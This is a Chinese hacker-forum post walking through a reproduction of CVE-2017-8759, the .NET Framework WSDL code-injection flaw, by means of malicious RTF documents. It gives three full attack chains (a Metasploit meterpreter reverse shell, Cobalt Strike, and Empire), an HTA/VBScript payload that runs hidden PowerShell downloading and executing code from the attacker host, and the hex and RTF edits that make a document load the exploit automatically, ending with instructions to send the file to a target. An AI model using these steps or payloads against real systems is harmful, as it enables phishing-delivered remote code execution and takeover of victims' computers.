跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

微软.NET Framework cve-2017-8759 复现

精选回复

发布于

 

 

0x00 漏洞前言

 FireEye公司最近发现一份恶意微软Office RTF文档,其中利用到一项SOAP WSDL解析器代码注入漏洞——编号CVE-2017-8759。该漏洞允许恶意人士在解析SOAP WSDL的定义内容期间注入任意代码。FireEye公司对该微软Office文档进行了分析,并发现攻击者能够利用代码注入方式下载并执行一份包含PowerShell指令的Visual Basic脚本。

0x01 漏洞复现

方法一:通过cve-2017-8759_toolk反弹msf

测试环境:

目标靶机:win7x64  office2010(只能在office2010以上执行才能成功) ip:10.0.0.89

攻击机:kali2016  ip:10.0.0.86

在kali上执行:

1.下载cve-2017-8759_toolkt利用poc

root@backlion:/opt# git clone https://github.com/bhdresh/CVE-2017-8759.git

 1049983-20170919111923962-1156927724.png

2.进入到cve-2017-8759目录中

root@backlion:/opt# cd CVE-2017-8759/

root@backlion:/opt/CVE-2017-8759# ls

 1049983-20170919111934962-2862930.png

3.执行生成恶意的rtf文档

root@backlion:/opt/CVE-2017-8759# python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://10.0.0.86/logo.txt

 1049983-20170919111947415-1778936184.png

4.执行生成恶意的后门文件shell.exe,本地监听4444端口

root@backlion:/opt/CVE-2017-8759# msfvenom -p windows/x64/meterpreter_reverse_tcp  LHOST=10.0.0.86   LPORT=4444 -f exe > /tmp/shell.exe

 1049983-20170919111958509-2131806527.png

5.开启web服务并监听来自访问

root@backlion:/opt/CVE-2017-8759#  python cve-2017-8759_toolkit.py -M exp -e http://10.0.0.86/shell.exe -l /tmp/shell.exe

 1049983-20170919112009321-2033427607.png

6.接着开启msf,并设置本地监听地址和监听端口以及payload

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/x64/meterpreter_reverse_tcp

msf exploit(handler) > set lhost  10.0.0.86

msf exploit(handler) > set lport  4444

msf exploit(handler) > exploit

sessions  -i  1

 1049983-20170919112021603-1052152326.png

最后将Invoice.rtf文档拷贝或者发送等方式到目标靶机上并执行,就可以成功反弹出shell:

 1049983-20170919112035040-1590948304.png

方法二:利用cobaltstrike复现

测试环境:

目标靶机:win7x64  office2016(只能在office2010以上执行才能成功)   ip:10.0.0.201

攻击机:kali2016  ip:10.0.0.86

1.启动cobaltstrike服务端:

root@backlion:/opt# cd  cobaltstrike/

root@backlion:/opt/cobaltstrike# ./teamserver  10.0.0.86  backlion

 1049983-20170919112051634-554032122.png

1049983-20170919112115806-1046111536.png

2.启动cobaltstrike客户端:

root@backlion:/opt/cobaltstrike# java -jar  cobaltstrike.jar

 1049983-20170919112131978-433332617.png

1049983-20170919112143321-273564070.png

3.设置一个Listener(Cobal Strike = > Listener => add),添加一个HTTPS的监听器,端口为443

 1049983-20170919112158931-1597524423.png

 

4.下载CVE-2017-8759,并将cmd.hta重名为cmd.jpg然后修改里面的内容,主要修改里面的IP地址,然后修改后的cmd.jpg拷贝到kali主机上的/opt目录下。我这里已经修改好了,可到我的github下载。其下载地址:https://raw.githubusercontent.com/backlion/demo/master/CVE-2017-8759-master.zip

主要poc:

<html>

<head>

< script language="VBScript">

Sub window_onload

    window.resizeTo 0,0

    window.MoveTo -100,-100

       const impersonation = 3

       Const HIDDEN_WINDOW = 12

       Set Locator = CreateObject("WScript.Shell")

    Locator.Run"powershell.exe -nop -w hidden -c ""IEX (new-object net.webclient).downloadstring('http://10.0.0.86/bk.exe')""",0,FALSE

    window.close()

end sub

</script>

<!--

<script language="VBScript">

Sub window_onload

       const impersonation = 3

       Const HIDDEN_WINDOW = 12

       Set Locator = CreateObject("WbemScripting.SWbemLocator")

       Set Service = Locator.ConnectServer()

       Service.Security_.ImpersonationLevel=impersonation

       Set objStartup = Service.Get("Win32_ProcessStartup")

       Set objConfig = objStartup.SpawnInstance_

       Set Process = Service.Get("Win32_Process")

       Error = Process.Create("powershell.exe -nop -w hidden calc.exe", null, objConfig, intProcessID)

       window.close()

end sub

</script>

-->

</head>

1049983-20170919112215681-1688008659.png

 

5.另外也需要修改exploit.txt里面的IP地址,修改后也要上传到kali的/opt目录下。

 1049983-20170919112226743-924161151.png

6.设置Web Drive功能并添加cmd.jpg

Attacks=>Web Drive-by=> HOST file

 1049983-20170919112236853-1143401774.png

 

 

7.设置Attacks=>Web Drive-by=> HOST file

 1049983-20170919112248384-1978621379.png

8.生成木马Attacks=>Web Drive-by=> Script Web Delivery

 1049983-20170919112258243-1014798238.png

9.点击Attacks=>Web Drive-by=> mange,查看当前设置:

 1049983-20170919112312071-816006817.png

10.制作trf文档,打开office,本人装的是win7,所以是office2016,插入对象为:http://10.0.0.86/exploit.txt,并保存成为test.rtf

 1049983-20170919112322853-1081497259.png

 

11.在test.rtf中用记事本打开并查找找到

{\object\objautlink\rsltpict\objw4321\objh4321这一部分,替换修改为:{\object\objupdate\objautlink\rsltpict\objw4321\objh4321。其目的是让word自动更新加载poc.

1049983-20170919112337431-164472930.png

 12.用C32Asm静态反编译工具以16进制打开并编辑修改blob.bin

 1049983-20170919112423728-1296465161.png

然后修改为:http://10.0.0.86/exploit.txt,利用小葵工具将其转化为16进制,去掉0x,最终为:

68007400740070003A002F002F00310030002E0030002E0030002E00380036002F006500780070006C006F00690074002E00740078007400

 1049983-20170919112448056-1796174149.png

通过查找替换16进制进行修改:

拷贝--hex格式出:

680074007400700073003A002F002F0078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078000000000000000000

替换为:

68007400740070003A002F002F00310030002E0030002E0030002E00380036002F006500780070006C006F00690074002E00740078007400000000000000000000000000000000000000000000000000

 1049983-20170919112500743-94678857.png

然后保存,并在kali查看是否生成正确的地址

1049983-20170919112518259-673647556.png

13.将生成好的blob.bin以16进制打开,然后全选--拷贝--hex拷贝

粘贴处所有的十六进制替换掉test.rtf里面的从:

}{\*\objdata开始到}{\result之间的所有数据,并保存文件

 1049983-20170919112533243-1091453940.png

 

14.将替换好的test.rtf文件传输或者发送到目标靶机windows7主机上,并打开执行。

 1049983-20170919112549431-1243438281.png

15.即可在cs中反弹出shell出来:

 1049983-20170919112559712-1227436658.png

方法三:通过empire复现漏洞

测试环境:

目标靶机:win7x64 office2016(只能在 office2010 以上执行才能成功)

ip:10.0.0.201

攻击机:kali2016 ip:10.0.0.86

1.采用最新版本emprie2.1进行测试,这里分别设置了监听地址名为http,生成hta恶意代码。

(Empire) > listeners

(Empire: listeners) > uselistener http

(Empire: listeners/http) > execute

 1049983-20170919112656900-1648440472.png

(Empire: listeners/http) > back

(Empire: listeners) > help

 1049983-20170919112708540-707463100.png

(Empire: listeners) > usestager windows/hta

 1049983-20170919112719681-1272681382.png

(Empire: stager/windows/hta) > set Listener http

(Empire: stager/windows/hta) > execute

 1049983-20170919112733212-196930860.png

2.将生成的hta代码保存为cmd.jpg文件。

 1049983-20170919112743353-788751935.png

3.修改exploit.txt里面的地址,这里改成我的攻击机kali的ip地址。

 1049983-20170919112755306-846052165.png

 

3.将修改好的cmd.jpg和exploit文件放在同一目录www文件中,然后执行python的web启动服务命令,这里监听端口为8000

 1049983-20170919112804665-295584265.png

 

3.生成钓鱼rtf文档,这里在新建的word文件中插入一个对象为:http://10.0.0.86:8000/exploit.txt,然后保存为test.rtf文件

 1049983-20170919112821368-1653423278.png

1049983-20170919112842134-964441661.png

 

4. 在 test.rtf 中用记事本打开并查找找到

{\object\objautlink\rsltpict\objw4321\objh4321 这一部分,替换修改为:

{\object\objupdate\objautlink\rsltpict\objw4321\objh4321

 1049983-20170919112853400-1714532996.png

 

5. 用 C32Asm 静态反编译工具以 16 进制打开并编辑修改 blob.bin

 1049983-20170919112901868-703069407.png

然后修改为:http://10.0.0.86:8000/exploit.txt,利用小葵工具将其转化为 16 进制,

去掉 0x,最终为:

68007400740070003A002F002F00310030002E0030002E0030002E00380036003A0038003000300030002F006500780070006C006F00690074002E00740078007400

通过查找替换 16 进制进行修改:

拷贝--hex 格式出:

680074007400700073003A002F002F007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800780078007800000000000000000000000000000000000000000000000000

替换为:

68007400740070003A002F002F00310030002E0030002E0030002E00380036003A0038003000300030002F006500780070006C006F00690074002E00740078007400000000000000000000000000000000000000000000000000000000000000

 1049983-20170919112920196-1347727502.png

然后保存,并在 kali 查看是否生成正确的地址

 1049983-20170919112937009-531981647.png

 

6.将生成好的 blob.bin 以 16 进制打开,然后全选--拷贝--hex 拷贝

粘贴处所有的十六进制替换掉 test.rtf 里面的从:

}{\*\objdata 开始到}{\result 之间的所有数据,并保存文件

 1049983-20170919112944743-863028944.png

7..将替换好的 test.rtf 文件传输或者发送到目标靶机 windows7 主机上,并打

开执行。

 1049983-20170919112954696-1077656007.png

 

8..即可在empire中可以获取反弹shell:

(Empire: stager/windows/hta) > interact 4X3CYAKB

(Empire: 4X3CYAKB) > shell ipconfig

 1049983-20170919113007837-1475371242.png

 

0x02 漏洞影响

.NET系列产品的远程代码执行(RCE)并进一步控制系统

以下.NET版本

                    Microsoft .NET Framework 4.6.2  

                    Microsoft .NET Framework 4.6.1  

                    Microsoft .NET Framework 3.5.1  

                    Microsoft .NET Framework 4.7 

                    Microsoft .NET Framework 4.6 

                    Microsoft .NET Framework 4.5.2 

                    Microsoft .NET Framework 3.5 

                    Microsoft .NET Framework 2.0 SP2

 



创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。